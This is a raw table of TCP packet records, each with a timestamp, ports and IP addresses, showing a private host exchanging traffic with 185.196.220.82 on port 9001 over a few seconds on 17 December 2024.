Dec 17, 2024 11:49:45.403069973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.404045105 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.404088974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.474369049 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.474446058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.487664938 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.498905897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.510375977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.510441065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.510447979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.510483027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.510694027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.510742903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.510812044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.510859966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.511831045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.511898041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.511936903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.511984110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.512962103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.513021946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.513024092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.513149977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.513740063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.513808966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.513848066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.514118910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.514893055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.514931917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.514959097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.514988899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.516138077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.516184092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.516222954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.516382933 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.517230034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.517273903 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.517285109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.517322063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.518582106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.518663883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.518666983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.518708944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.519438028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.519485950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.519607067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.519658089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.520549059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.520605087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.520766020 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.545475960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.545619011 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.545627117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.545676947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.545790911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.545839071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.546813965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.546884060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.546930075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.547188997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.548013926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.548094034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.548480988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.550060987 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.550105095 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.550153971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.550328970 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.550635099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.550687075 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.550743103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.550784111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.551805973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.551852942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.551856995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.551966906 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.552862883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.552916050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.552974939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.553679943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.554028988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.554186106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.554230928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.555098057 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.555222034 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.555274963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.556279898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.556329012 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.556360960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.557147980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.557199001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.557281971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.557662964 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.558089018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.558129072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.558130026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.559295893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.559346914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.559403896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.559587955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.560580969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.560657978 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.560682058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.560693979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.561496019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.561562061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.561599970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.561878920 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.562647104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.562697887 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.562732935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.562772989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.563780069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.563824892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.563854933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.563973904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.564876080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.564918041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.564960003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.564996004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.566076040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.566126108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.566234112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.566276073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.567141056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.567199945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.567274094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.567467928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.568250895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.568322897 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.568334103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.568499088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.569525957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.569585085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.569597006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.569619894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.570523024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.570538044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.570579052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.571657896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.571706057 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.571746111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.571963072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.572856903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.572927952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.572931051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.572966099 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.573940039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.574011087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.574022055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.574048042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.575217962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.575269938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.575333118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.575371027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.576241016 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.576262951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.576303959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.576312065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.577383041 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.577425957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.577440023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.577490091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.578459024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.578527927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.578577042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.578644991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.579591036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.579668045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.579674959 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.579709053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.580739975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.580785036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.580790043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.580841064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.582024097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.582084894 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.582156897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.582200050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.582989931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.583046913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.583173037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.583209991 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.584110975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.584155083 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.584189892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.584280968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.585328102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.585378885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.585422039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.586385012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.586447001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.586462975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.586556911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.587574005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.587635040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.587641001 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.587677002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.588654995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.588704109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.588845015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.588884115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.590274096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.590286970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.590318918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.630059958 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.666399002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.666444063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.687151909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.687212944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.746582985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.757178068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.757237911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.757324934 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.757602930 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.759491920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.759578943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.759603977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.759644985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.759979963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.760103941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.760139942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.761125088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.761220932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.761275053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.762264013 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.762362003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.762423038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.763377905 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.763488054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.763540983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.764475107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.764580965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.764635086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.765841007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.765853882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.765906096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.766761065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.766899109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.766956091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.767899990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.768009901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.768065929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.779222965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.779411077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.779479980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.780014038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.780025005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.780075073 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.781693935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.781797886 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.781855106 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.782296896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.782350063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.782396078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:45.806969881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.873533964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.899899960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:45.937340021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.314007998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.434971094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.435028076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.554728031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.711085081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.830260038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.830334902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.830499887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.831078053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.831120968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.831185102 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.832097054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.832118988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.832138062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.832855940 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.832894087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.832906961 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.833899021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.833964109 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.833981991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.834969044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.835020065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.835028887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:46.937335968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:46.938733101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.140451908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.855017900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.856129885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.856353045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.856372118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.975207090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.975236893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.975282907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.975337029 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976366997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976421118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976574898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976584911 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976634979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976655006 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976672888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976686954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976711035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976768017 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.976887941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976897955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.976953030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977005005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977046967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977137089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977197886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977205038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977256060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977287054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977338076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977484941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977519035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977525949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.977719069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977771997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977955103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.977961063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.978018045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.978219032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.978229046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.978303909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.978303909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:47.978307962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.978377104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.978385925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:47.978388071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:48.019090891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.095271111 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096189022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:48.096309900 CET	9001	49784	185.196.220.82	192.168.2.6
